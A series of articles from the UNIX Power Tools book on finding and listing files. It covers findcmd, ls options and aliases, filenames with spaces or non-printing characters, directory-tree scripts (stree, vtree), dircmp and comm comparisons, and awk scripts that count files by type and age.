UNIX has utilities like whereis (50.5) and which (50.8) to look for a command on the system. But whereis doesn't look in your shell's search path, so it may not find shell scripts in local system directories or your bin directory (4.2). And to use which, you have to know the exact name of the command, because which only shows the first command with that name in your path.

If you're like me, you can't always remember the name of the command you're looking for. "Wasn't it called reference or refer or something like that?" The findcmd script saves me a lot of guessing. It shows all command names, in all directories in my search path, that contain some string. So, I'll look for command names that have "ref" in them:

% findcmd ref
/home/jerry/.bin/zrefile
/usr/bin/X11/xrefresh
/usr/local/bin/grefer
/bin/cxref
/bin/refer
/usr/bin/cxref
/usr/bin/refer
./preferences

findcmd
After a couple of tries, I usually find the command I want. The findcmd script is on the CD-ROM.

First, the script edits a copy of your PATH (6.4) to change any current directory entry to a dot (:.:). Next, a colon (:) in the IFS (35.21) variable lets the shell split the PATH at the colons; a for loop (44.16) steps through each directory in the PATH and runs ls -l to find matching files. Finally, a sed (34.24) script reads through the output of all the ls commands in the loop, editing and printing matching lines (executable files with the program name we want).

- JP

Previous: 16.9 An Alias to List Recently Changed Files | UNIX Power Tools | Next: 16.11 Showing Hidden Files with ls -A and -a
16.9 An Alias to List Recently Changed Files | Book Index | 16.11 Showing Hidden Files with ls -A and -a
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.11 Showing Hidden Files with ls -A and -a

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.10 findcmd: Find a Command in Your Search Path Chapter 16
Where Did I Put That? 		Next: 16.12 Useful ls Aliases

16.11 Showing Hidden Files with ls -A and -a

The ls command normally ignores any files whose names begin with a dot (.). This is often very convenient: UNIX has lots of small configuration files, scratch files, etc., that you really don't care about and don't want to be bothered about most of the time. However, there are some times when you care very much about these files. If you want to see "hidden" files, use the command ls -a. For example:

% cd
% ls            Don't show hidden files
Mail       mail.txt      performance   powertools
% ls -a            This time, show me EVERYTHING
.        .emacs        Mail          powertools
..       .login        mail.txt
.cshrc   .mailrc       performance

With the -a option, we see four additional files: the C shell initialization file, the login initialization file, the customization files for the GNU Emacs editor, and mail. We also see two "special" entries, . and .., which represent the current directory and the parent of the current directory. All UNIX directories contain these two entries (18.2).

If you don't want to be bothered with . and .., many UNIX systems also have a -A option:

% ls -A   Show me everything but . and ..
.cshrc   .login        Mail          performance
.emacs   .mailrc       mail.txt      powertools

- ML

Previous: 16.10 findcmd: Find a Command in Your Search Path | UNIX Power Tools | Next: 16.12 Useful ls Aliases
16.10 findcmd: Find a Command in Your Search Path | Book Index | 16.12 Useful ls Aliases
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.12 Useful ls Aliases

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.11 Showing Hidden Files with ls -A and -a Chapter 16
Where Did I Put That? 		Next: 16.13 Can't Access a File? Look for Spaces in the Name

16.12 Useful ls Aliases

Because ls is one of the most commonly used UNIX commands and provides numerous options, it's a good idea to create aliases for the display formats that best suit your needs. For example, many users always want to know about their "hidden" files. That's reasonable - they're just as important as any other files you have. In some cases, they can grow to take up lots of room (for example, some editors hide backup files), so it's worth being aware of them.

Rather than typing ls -a every time, you can create a convenient alias that supplies the -a or -A option (16.11) automatically:

alias la "ls -aF"

or:

alias la "ls -AF"

Two things to note here. First, I recommend using la as the name of the alias, rather than just renaming ls. I personally think it's dangerous to hide the pure, unadulterated command underneath an alias; it's better to pick a new name, and get used to using that name. If you ever need the original ls for some reason, you'll be able to get at it without problems.

Second, what's with the -F option? I just threw it in to see if you were paying attention. It's actually quite useful; many users add it to their ls aliases. The -F option shows you the type of file in each directory by printing an extra character after each filename. Table 16.1 lists what the extra character can be.

Table 16.1: Filename Types Listed by ls -F
Character | Definition
(nothing) | The file is a regular file.
* | The file is an executable.
/ | The file is a directory.
@ | The file is a symbolic link (18.4).
= | The file is a "socket" (don't worry about this).

For example:

% la   Alias includes -F functionality
.cshrc   .login        Mail/         performance/
.emacs   .mailrc       mail.txt      powertools@

This says that Mail and performance are directories. powertools is a symbolic link (ls -l will show you what it's linked to). There are no executables or "sockets" in this directory.

You may want this version instead:

alias la ls -aFC

The -C option lists the files in multiple columns. This option isn't needed on systems where multi-column output is the normal behavior (for example, in SVR4). Note, however, that when piped to another command, ls output is single-column unless -C is used. For example, use ls -C | more to preserve multiple columns.

Finally, if you often need the full listing, use the alias:

alias ll ls -l

This alias may not seem like much of a shortcut until after you've typed it a dozen times. In addition, it's easy to remember as "long listing." Some UNIX systems even include ll as a regular command.

- DG, ML

Previous: 16.11 Showing Hidden Files with ls -A and -a | UNIX Power Tools | Next: 16.13 Can't Access a File? Look for Spaces in the Name
16.11 Showing Hidden Files with ls -A and -a | Book Index | 16.13 Can't Access a File? Look for Spaces in the Name
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.13 Can't Access a File? Look for Spaces in the Name

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.12 Useful ls Aliases Chapter 16
Where Did I Put That? 		Next: 16.14 Showing Non-Printable Characters in Filenames

16.13 Can't Access a File? Look for Spaces in the Name

What's wrong here?

% ls
afile    exefiles   j       toobig
% lpr afile
lpr: afile: No such file or directory

Huh?? ls shows that the file is there, doesn't it? Try using:

-v -t -e

% ls -l | cat -v -t -e
total 89$
-rw-rw-rw-  1 jerry          28 Mar  7 19:46 afile $
-rw-r--r--  1 root        25179 Mar  4 20:34 exefiles$
-rw-rw-rw-  1 jerry         794 Mar  7 14:23 j$
-rw-r--r--  1 root          100 Mar  5 18:24 toobig$

The cat -e option marks the ends of lines with a $. Notice that afile has a $ out past the start of the column. Aha... the filename ends with a space. Whitespace characters like TABs have the same problem, though the default ls -q (16.14) option (on many UNIX versions) shows them as ? if you're using a terminal.

To rename afile , giving it a name without the space, type:

% mv "afile " afile

The quotes (8.14) tell the shell to include the space as part of the first argument it passes to mv. The same quoting works for other UNIX commands like rm, too.

- JP

Previous: 16.12 Useful ls Aliases | UNIX Power Tools | Next: 16.14 Showing Non-Printable Characters in Filenames
16.12 Useful ls Aliases | Book Index | 16.14 Showing Non-Printable Characters in Filenames
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.14 Showing Non-Printable Characters in Filenames

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.13 Can't Access a File? Look for Spaces in the Name Chapter 16
Where Did I Put That? 		Next: 16.15 Script with a :-) for UNIX Converts: dir, ..., ...

16.14 Showing Non-Printable Characters in Filenames

From time to time, you may get files with non-printing characters, spaces, and other garbage in them. This usually is the result of some mistake - but it's a pain nevertheless.

If you're using BSD UNIX, the ls command gives you some help; it will convert all non-printing characters to a question mark (?), giving you some idea that something funny is there. [2] For example:

[2] The -q option is the default only when ls's standard output is a terminal. If you pipe the output or redirect it to a file, remember to add -q.

% ls
ab??cd

This shows that there are two non-printing characters between ab and cd. To delete (or rename) this file, you can use a wildcard pattern like ab??cd.

NOTE: BE CAREFUL. When I was new to UNIX, I once accidentally generated a lot of weird filenames. ls told me that they all began with ????, so I naively typed rm ????*. That's when my troubles began. See article 23.2 for the rest of the gruesome story. (I spent the next day and night trying to undo the damage.) THE MORAL IS: It's always a good idea to use echo to test filenames with wildcards in them.

If you're using System V UNIX, you have a different set of problems. System V's ls doesn't convert the non-printing characters to question marks. In fact, it doesn't do anything at all - it just spits these weird characters at your terminal, which can respond in any number of strange and hostile ways. Most of the non-printing characters have special meanings - ranging from "don't take any more input" to "clear the screen."

To prevent this, use the -b option. [3] This tells ls to print the octal value of any non-printing characters, preceeded by a backslash. For example, on System V:

[3] On BSD, pipe the ls -q output through cat -v or od -c (25.7) to see what the non-printing characters are.

% ls -b
ab\013\014cd

This shows that the non-printing characters have octal values 13 and 14, respectively. If you look up these values in an ASCII table (51.3), you will see that they correspond to CTRL-k and CTRL-l. And - if you think about what's happening - you'll realize that CTRL-l is a formfeed character, which tells many terminals to clear the screen. That's why the regular ls command behaved so strangely.

Once you know what you're dealing with, you can use a wildcard pattern to delete or rename the file.

- ML

Previous: 16.13 Can't Access a File? Look for Spaces in the Name | UNIX Power Tools | Next: 16.15 Script with a :-) for UNIX Converts: dir, ..., ...
16.13 Can't Access a File? Look for Spaces in the Name | Book Index | 16.15 Script with a :-) for UNIX Converts: dir, ..., ...
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.15 Script with a :-) for UNIX Converts: dir, ..., ...

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.14 Showing Non-Printable Characters in Filenames Chapter 16
Where Did I Put That? 		Next: 16.16 Picking a Unique Filename Automatically

16.15 Script with a :-) for UNIX Converts: dir, ..., ...

I've switched back and forth between UNIX, VMS, MS/DOS, and other OSes. Others use DIR to do what ls does on UNIX. I wrote a script that saves me retyping a command and gives me a grin, too:

% dir
Hey!  This is UNIX!  Well, okay... but just this once...
total 265
-rw-rw-r--  1 ellie       47279 Dec 16 13:22 2edit.2
-rw-r--r--  1 jerry       21802 Nov 12 18:24 7911.ps
drwxrwsr-x  2 jerry       14848 Dec 24 07:17 RCS

hey
 The Bourne shell script, named hey, is simple. It prints its complaint to standard error so the message won't be redirected into a file or down a pipe. Then it tests the name you called it with (in this case, dir) and runs the command you've configured it to run instead (here, ls -l):

$@

case "$0" in

*dir) ls -l ${1+"$@"} ;;
*md)  mkdir ${1+"$@"} ;;
   ...and so on...
esac

You can give the single hey script file as many names as you want by making links (18.3) to it. Article 8.8 shows a similar setup with a different purpose.

- JP

Previous: 16.14 Showing Non-Printable Characters in Filenames | UNIX Power Tools | Next: 16.16 Picking a Unique Filename Automatically
16.14 Showing Non-Printable Characters in Filenames | Book Index | 16.16 Picking a Unique Filename Automatically
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.16 Picking a Unique Filename Automatically

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.15 Script with a :-) for UNIX Converts: dir, ..., ... Chapter 16
Where Did I Put That? 		Next: 16.17 Getting Directory Name from a File's Pathname

16.16 Picking a Unique Filename Automatically

Shell scripts, aliases, and other programs can need temporary files to hold data used later. If the program will be run more than once, or if the temp file needs to stay around after the program is done, you need some way to make a unique filename.

One way is with the shell's process ID number (38.3), available in the $$ parameter and often used in the /tmp directory . (21.3) You might name a file /tmp/MYPROG$$; the shell will turn that into something like /tmp/MYPROG1234 or /tmp/MYPROG28471. If your program needs more than one temporary file, add an extra unique character to the names:

errs=/tmp/MYPROGe$$ output=/tmp/MYPROGo$$

Remember the 14-character filename limit on some older UNIXes. $$ usually makes two to five characters.

If your UNIX doesn't have a date command that takes a + parameter to change its output format, you should get one (51.10). For example, to output the month, day, Hour, Minute, and Second:

% date Thu May 30 07:21:13 EDT 1991
% date +'%m%d%H%M%S' 0530072124

Use a + parameter and backquotes (``) (9.16) to get a temp file named for the current date and/or time. For instance, on May 31 the command below would store foo.0531 in the Bourne shell variable temp. On December 7, it would store foo.1207:

 temp=foo.`date +'%m%d'`

Article 21.3 shows another system for temporary files.

- JP

Previous: 16.15 Script with a :-) for UNIX Converts: dir, ..., ... | UNIX Power Tools | Next: 16.17 Getting Directory Name from a File's Pathname
16.15 Script with a :-) for UNIX Converts: dir, ..., ... | Book Index | 16.17 Getting Directory Name from a File's Pathname
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.17 Getting Directory Name from a File's Pathname

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.16 Picking a Unique Filename Automatically Chapter 16
Where Did I Put That? 		Next: 16.18 Listing Files You've Created/Edited Today

16.17 Getting Directory Name from a File's Pathname

When you write shell scripts or functions, sometimes you have a file's absolute pathname but need the parent directory's name. (You might need the parent's name to see if you have write permission in the directory - say, to remove or rename the file.)

If the pathname is stored in a csh shell (not environment) variable, use the modifier :h (9.6). In the Bourne shell, see if your system has the dirname (45.18) command. If it doesn't, you can get the GNU version from the Power Tools disc - or use expr (45.28) with a regular expression (26.4) that gives you everything up to (but not including) the last slash. For example, if the pathname /home/mktg/fred/afile is stored in the shell variable file, these csh and sh commands would store /home/mktg/fred into the variable dir:

% set dir=$file:h
$ dir=`dirname "$file"`
$ dir=`expr "$file" : '\(.*\)/'`

To handle multiple pathnames, give this regular expression to sed (34.24):

@
% ... sed 's@/[^/]*$@@' ...

- JP

Previous: 16.16 Picking a Unique Filename Automatically | UNIX Power Tools | Next: 16.18 Listing Files You've Created/Edited Today
16.16 Picking a Unique Filename Automatically | Book Index | 16.18 Listing Files You've Created/Edited Today
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.18 Listing Files You've Created/Edited Today

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.17 Getting Directory Name from a File's Pathname Chapter 16
Where Did I Put That? 		Next: 16.19 stree: Simple Directory Tree

16.18 Listing Files You've Created/Edited Today

If your directory is full of files and you're trying to find out which files you've made changes to (and created) today, here's how. [4] Make a shell script that stores today's date in the shell's command-line parameters. Pipe the output of ls -l to an awk script. In the awk script, put the month (which was the second word in the date output) into the awk string variable m. Put the date into the awk integer variable d-use an integer variable so date outputs like Jun 04 will match ls outputs like Jun  4. Print any line where the two dates match.

[4] Using find with -mtime -1 (17.7) will list files modified within the last 24 hours. That's not quite the same thing.

#!/bin/sh
set `date`
ls -l |
awk "BEGIN { m = \"$2\"; d = $3 }
\$5 == m && \$6 == d && \$7 ~ /:/ {print}"

If your version of ls -l gives both the file's owner and group, change $5 to $6 and $6 to $7. You can make your life simpler by getting sls (16.29)- it lets you set the output format (including the date format) exactly.

- JP

Previous: 16.17 Getting Directory Name from a File's Pathname | UNIX Power Tools | Next: 16.19 stree: Simple Directory Tree
16.17 Getting Directory Name from a File's Pathname | Book Index | 16.19 stree: Simple Directory Tree
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.19 stree: Simple Directory Tree

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.18 Listing Files You've Created/Edited Today Chapter 16
Where Did I Put That? 		Next: 16.20 The vtree Visual Directory Tree Programs

16.19 stree: Simple Directory Tree

Here's a simple script that prints a directory tree. It works on any terminal, can be printed or sent in a mail message, and so on. If you don't give stree a directory name, it starts at the current directory. If you give it a -a (all) option, the stree script lists all files, directories, symbolic links, etc. Otherwise, it just lists directories. For example:

% stree lib
Tree for directory lib:

lib
 "      at_cron
 "       "      RCS
 "       "      test
 "      csh
 "      ksh
 "      RCS.Z
 "      tmac
 "       "      mm
 "       "       "      RCS
 "       "      ms
 "       "       "      RCS

The top-level directory is listed along the left-hand edge. The first level of subdirectories is indented by one tabstop. A ditto mark (") below a name means "same parent directory as above." So, for example, the last directory in that listing is lib/tmac/ms/RCS.

Here's the script:

${1-.}

"newline

@

#! /bin/sh

case "$1" in
-a) shift
    dir=${1-.}  # DEFAULT TO CURRENT DIRECTORY
    echo Tree for directory $dir and its files:
    ;;
*)  findtype="-type d"  # IF NO -a FLAG, MAKE find USE "-type d"
    dir=${1-.}
    echo Tree for directory $dir:
    ;;
esac

echo "
$dir"
find $dir $findtype -print |
tr / \\001 | sort -f | tr \\001 / |
sed -e s@\^$dir@@ -e /\^$/d -e 's@[^/]*/@ "[TAB]@g'

The script uses tr (35.11) to change slash (/) characters into CTRL-a (octal 001 (51.3)) during the sort. That makes the slashes sort before letters and other characters so the directory names will always come out before their contents.

- JP

Previous: 16.18 Listing Files You've Created/Edited Today | UNIX Power Tools | Next: 16.20 The vtree Visual Directory Tree Programs
16.18 Listing Files You've Created/Edited Today | Book Index | 16.20 The vtree Visual Directory Tree Programs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.20 The vtree Visual Directory Tree Programs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.19 stree: Simple Directory Tree Chapter 16
Where Did I Put That? 		Next: 16.21 Finding All Directories with the Same Name

16.20 The vtree Visual Directory Tree Programs

vtree
The vtree program is similar to stree (16.19), but it has a few extra features that might make it worth your while. You can use vtree to get information not only about the directories, but about how much disk space they use:

% vtree /usr
 /usr : 0
   lost+found : 0
   local : 13880
      lost+found : 0
      bin : 23673
         RCS : 41
      lib : 6421
         news : 28896
            bin : 2
         newsbin : 269
            batch : 97
            expire : 138
            input : 91

vtree also has options to show how many inodes (1.22) are in each directory and to control how many levels down to display. The -v option tells vtree to give a "visual" display, showing the directory structure:

% vtree -v /usr
/usr ---+-> lost+found
           +-> local ---+-> lost+found
           |              +-> bin ----+-> RCS
           |              +-> lib ----+-> news ---+-> bin
           |              |              +-> newsbin --+-> batch
           |              |              |              +-> expire
           |              |              |              +-> input
        ...

- LM

Previous: 16.19 stree: Simple Directory Tree | UNIX Power Tools | Next: 16.21 Finding All Directories with the Same Name
16.19 stree: Simple Directory Tree | Book Index | 16.21 Finding All Directories with the Same Name
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.21 Finding All Directories with the Same Name

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.20 The vtree Visual Directory Tree Programs Chapter 16
Where Did I Put That? 		Next: 16.22 Comparing Two Directory Trees with dircmp

16.21 Finding All Directories with the Same Name

Time for a confession. I collect a lot of software. I have one disk filled with public-domain software. Some directories are "collections" like the Sun User Group tapes. It is likely that I might have the same program in two different directories. To prevent this waste of space, I create an index of directories and the path needed to reach them. If I have two directories with the same name, I would like to know about it. I might be able to delete one of the directories. A simple way to search for redundant directories is with the following command:

find . -type d -print | \
awk -F/ '{printf("%s\t%s\n",$NF,$0);}' | \
sort

[You might want to make this into an alias or function . (10.1) --JP ] The find (17.1) command prints out all directories. The awk (33.11) command uses the slash (/) as the field separator. NF is the number of fields, and $NF the last field. $0 is the awk variable for the entire line. The output would tell you where all of the directories named misc are located:

misc    ./X11/lib/X11/fonts/misc
misc    ./misc
misc    ./src/XView2/contrib/examples/misc
misc    ./src/XView2/fonts/bdf/misc
misc    ./src/XView2/lib/libxvin/misc
misc    ./src/XView2/lib/libxvol/misc
misc    ./src/XView2/misc

This could be converted into a shell script that takes arguments. If no arguments are specified, I want it to default to the argument . (dot):

${*-.}

#!/bin/sh
# usage: dir_path [directory ...]
# list directory and path to directory
find ${*-.} -type d -print | awk -F/  '
{
   printf ("%s\t%s\n",$NF,$0);
}' | sort

[You could also use this great idea for finding duplicate files. Change the -type d to -type f. If you (or all the users on your system) want to use this a lot, run dir_path nightly with cron (40.12) or at (40.3). Save the output to a "database" file. Use the speedy look command (27.18) to search the database file. Article 17.19 shows another find database. -JIK, JP ]

- BB

Previous: 16.20 The vtree Visual Directory Tree Programs | UNIX Power Tools | Next: 16.22 Comparing Two Directory Trees with dircmp
16.20 The vtree Visual Directory Tree Programs | Book Index | 16.22 Comparing Two Directory Trees with dircmp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.22 Comparing Two Directory Trees with dircmp

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.21 Finding All Directories with the Same Name Chapter 16
Where Did I Put That? 		Next: 16.23 Comparing Filenames in Two Directory Trees

16.22 Comparing Two Directory Trees with dircmp

You have an original directory. You copy the files in it to another directory, edit some of them, and add a few others. Later, you want to know the differences between the two directories. If your system's diff (28.1) has a -r (recursive) option, you can use that. System V has dircmp. The output of dircmp is formatted with pr (43.7); you get 66-line-long pages with headings:

% dircmp a b

Sep 16 09:26 1991  a only and b only Page 1

./foo.tmp                                   ./defs.h
   ...

Sep 16 09:26 1991  Comparison of a b Page 1

directory   .
same        ./Makefile
directory   ./data
same        ./data/test1
same        ./data/test2
   ...

different   ./pqp.help
same        ./pqs.help
   ...

In the a only and b only listing, files only in the first directory are in the first column and files only in the second directory are in the second column. The Comparison of a b listing compares files that are in both directories. The comparison is recursive - if there are any subdirectories, dircmp checks those, too.

The dircmp -s option stops the "identical file" messages. Use -d to run diff on files that are different; dircmp prints a new page for each diff it runs:

% dircmp -d -s a b
Sep 16 09:35 1991  a only and b only Page 1
   ...
Sep 16 09:35 1991  Comparison of a b Page 1
   ...
Sep 16 09:35 1991  diff of ./pqp.help in a and b Page 1

3c3,4
< -#    "Only this printer"... 'pqp -3' would print on #3.
--
> -#    "Only this printer"... 'pqp -3' would print only on #3;
>       other printer queues will be held.
   ...

The designers assumed you'd want to send the output to a printer. I usually read it on my screen with the less (25.4) pager and its -s option, which squeezes out the multiple blank lines. If you don't have less or more -s, try piping the output through cat -s (25.10) or a sed filter (34.18).

- JP

Previous: 16.21 Finding All Directories with the Same Name | UNIX Power Tools | Next: 16.23 Comparing Filenames in Two Directory Trees
16.21 Finding All Directories with the Same Name | Book Index | 16.23 Comparing Filenames in Two Directory Trees
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.23 Comparing Filenames in Two Directory Trees

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.22 Comparing Two Directory Trees with dircmp Chapter 16
Where Did I Put That? 		Next: 16.24 Counting Files by Types

16.23 Comparing Filenames in Two Directory Trees

Do you have two directory trees full of subdirectories and files? Would you like to compare the filenames to see if there are some files only in one tree or the other? If you don't have dircmp (16.22), look at the quick-and-dirty substitute in the example below. The numbered prompts (7.2) like 3% are just for reference:

[..]
1% cd directory1
2% find . -type f -print | sort >/tmp/dir1
3% cd directory2
4% find . -type f -print | sort >/tmp/dir2
5% comm -3 /tmp/dir[12]
6% rm /tmp/dir[12]

The comm (28.12) command will give you two columns: files in the left-hand column are only in directory1. Files in the right-hand column are only in directory2. You can get other information, too, like a list of files in both trees.

This works nicely for directory trees on other computers, too. Run one find | sort on the remote system. Transfer that file to the computer with the other directory tree and run comm there. Or do the diff across the network by replacing commands 3-5 above with:

rsh
% rsh host \
  'cd directory2; find . -type f -print | sort' | \
  comm -e /tmp/dir1 -

The - argument tells comm to read its standard input (from the remote find command). Article 13.13 shows a similar trick for a filesystem across a network. Articles 16.19 and 16.20 are about programs that help you see a directory tree.

- JP

Previous: 16.22 Comparing Two Directory Trees with dircmp | UNIX Power Tools | Next: 16.24 Counting Files by Types
16.22 Comparing Two Directory Trees with dircmp | Book Index | 16.24 Counting Files by Types
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.24 Counting Files by Types

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.23 Comparing Filenames in Two Directory Trees Chapter 16
Where Did I Put That? 		Next: 16.25 Listing Files by Age and Size

16.24 Counting Files by Types

I use awk (33.11) a lot. One of my favorite features of awk is its associative arrays. This means awk can use anything as an index into an array. In the next example, I use the output of the file (25.8) command as the index into an array to count how many files there are of each type:

${*-.} xargs

#!/bin/sh
# usage: count_types [directory ...]
# Counts how many files there are of each type
# Original by Bruce Barnett
# Updated version by yu@math.duke.edu (Yunliang Yu)
find ${*-.} -type f -print | xargs file |
awk '{
        $1=NULL;
        t[$0]++;
}
END {
        for (i in t) printf("%d\t%s\n", t[i], i);
}' | sort -nr   # Sort the result numerically, in reverse

The output of this might look like:

38  ascii text
32  English text
20  c program text
17  sparc executable not stripped
12  compressed data block compressed 16 bits
8   executable shell script
1   sparc demand paged dynamically linked executable
1   executable /bin/make script

- BB

Previous: 16.23 Comparing Filenames in Two Directory Trees | UNIX Power Tools | Next: 16.25 Listing Files by Age and Size
16.23 Comparing Filenames in Two Directory Trees | Book Index | 16.25 Listing Files by Age and Size
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.25 Listing Files by Age and Size

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.24 Counting Files by Types Chapter 16
Where Did I Put That? 		Next: 16.26 Finding Text Files with findtext

16.25 Listing Files by Age and Size

If you find a large directory, and most of the files are new, that directory may not be suitable for removal, as it is still being used. Here is a script that lists a summary of file sizes, broken down into the time of last modification. You may remember that ls -l will list the month, day, hour, and minute if the file is less than six months old, and show the month, day, and year if the file is more than six months old. Using this, the script creates a summary for each of the last six months, and each year for files older than that:

${*:-.} xargs

#!/bin/sh
# usage: age_files [directory ...]
# lists size of files by age
#
# pick which version of ls you use
#   System V
#LS="ls -ls"
#   Berkeley
LS="ls -lsg"
#
find ${*:-.} -type f -print | xargs $LS | awk  '
# argument 7 is the month; argument 9 is either hh:mm or yyyy
# test if argument is hh:mm or yyyy format
{
   if ($9 !~ /:/) {
      sz[$9]+=$1;
   } else {
      sz[$7]+=$1;
   }
}
END {
   for (i in sz) printf("%d\t%s\n", sz[i], i);
}' | sort -nr

The program might generate results like this:

5715   1991
3434   1992
2929   1989
1738   Dec
1495   1990
1227   Jan
1119   Nov
953   Oct
61   Aug
40   Sep

- BB

Previous: 16.24 Counting Files by Types | UNIX Power Tools | Next: 16.26 Finding Text Files with findtext
16.24 Counting Files by Types | Book Index | 16.26 Finding Text Files with findtext
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.26 Finding Text Files with findtext

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.25 Listing Files by Age and Size Chapter 16
Where Did I Put That? 		Next: 16.27 newer: Print the Name of the Newest File

16.26 Finding Text Files with findtext

Some of my directories - my bin (4.2), for instance - have some text files (like shell scripts and documentation) as well as non-text files (executable binary files, compressed files, archives, etc.). If I'm trying to find a certain file - with grep (27.1) or a pager (25.3, 25.4)- the non-text files can print garbage on my screen. I want some way to say "only look at the files that have text in them."

The findtext shell script does that. It runs file (25.8) to guess what's in each file. It only prints filenames of text files.

So, for example, instead of typing:

% egrep something *

I type:

`...`
% egrep something `findtext *`

Here's the script, then some explanation of how to set it up on your system:

#!/bin/sh

# PIPE OUTPUT OF file THROUGH sed TO PRINT FILENAMES FROM LINES
# WE LIKE.  NOTE: DIFFERENT VERSIONS OF file RETURN DIFFERENT
# MESSAGES.  CHECK YOUR SYSTEM WITH strings /usr/bin/file OR
# cat /etc/magic AND ADAPT THIS.
/usr/bin/file "$@" |
sed -n  '
/MMDF mailbox/b print
/Interleaf ASCII document/b print
/PostScript document/b print
/Frame Maker MIF file/b print
/c program text/b print
/fortran program text/b print
/assembler program text/b print
/shell script/b print
/c-shell script/b print
/shell commands/b print
/c-shell commands/b print
/English text/b print
/ascii text/b print
/\[nt\]roff, tbl, or eqn input text/b print
/executable .* script/b print
b

:print
s/:[TAB].*//p'

The script is simple: It runs file on the command-line arguments. The output of file looks like this:

COPY2PC:        directory
Ex24348:        empty
FROM_consult.tar.Z:     compressed data block compressed 16 bits

GET_THIS:       ascii text
hmo:            English text
msg:            English text
1991.ok:        [nt]roff, tbl, or eqn input text

The output is piped to a sed (34.24) script that selects the lines that seem to be from text files - after the print label, the script strips off everything after the filename (starting at the colon) and prints the filename.

Different versions of file produce different output. Some versions also read an /etc/magic file. To find the kinds of names your file calls text files, use commands like:

% strings /usr/bin/file > possible
% cat /etc/magic >> possible
% vi possible

The possible file will have a list of descriptions that strings found in the file binary; some of them are for text files. If your system has an /etc/magic file, it will have lines like these:

0    long         0x1010101       MMDF mailbox
0    string       <!OPS           Interleaf ASCII document
0    string       %!              PostScript document
0    string       <MIFFile        Frame Maker MIF file

Save the descriptions of text-type files from the right-hand column.

Then, turn each line of your edited possible file into a sed command:

b print
/description/b print

Watch for special characters in the file descriptions. I had to handle two special cases in the last two lines of the script above:

  • I had to change the string executable %s script from our file command to /executable .* script/b print in the sed script. That's because our file command replaces %s with a name like /bin/ksh.

  • Characters that sed will treat as a regular expression, such as the brackets in [nt]roff, need to be escaped with backslashes. I used \[nt\]troff in the script.

If you have perl (37.1), you can make a simpler version of this script, since perl has a built-in test for whether or not a file is a text file. Perl picks a "text file" by checking the first block or so for strange control codes or metacharacters. If there are too many (more than 10%), it's not a text file. You can't tune the Perl script to, for example, skip a certain kind of file by type. But the Perl version is simpler! It looks like this:

% perl -le '-T && print while $_ = shift' *

csh_init
sh_init
 If you want to put that into an alias (10.2), the C shell's quoting problems (47.2, 8.15) make it tough to do. Thanks to makealias (10.8), though, here's an alias that does the job:

alias findtext 'perl -le '\''-T && print while $_ = shift'\'' *'

- JP

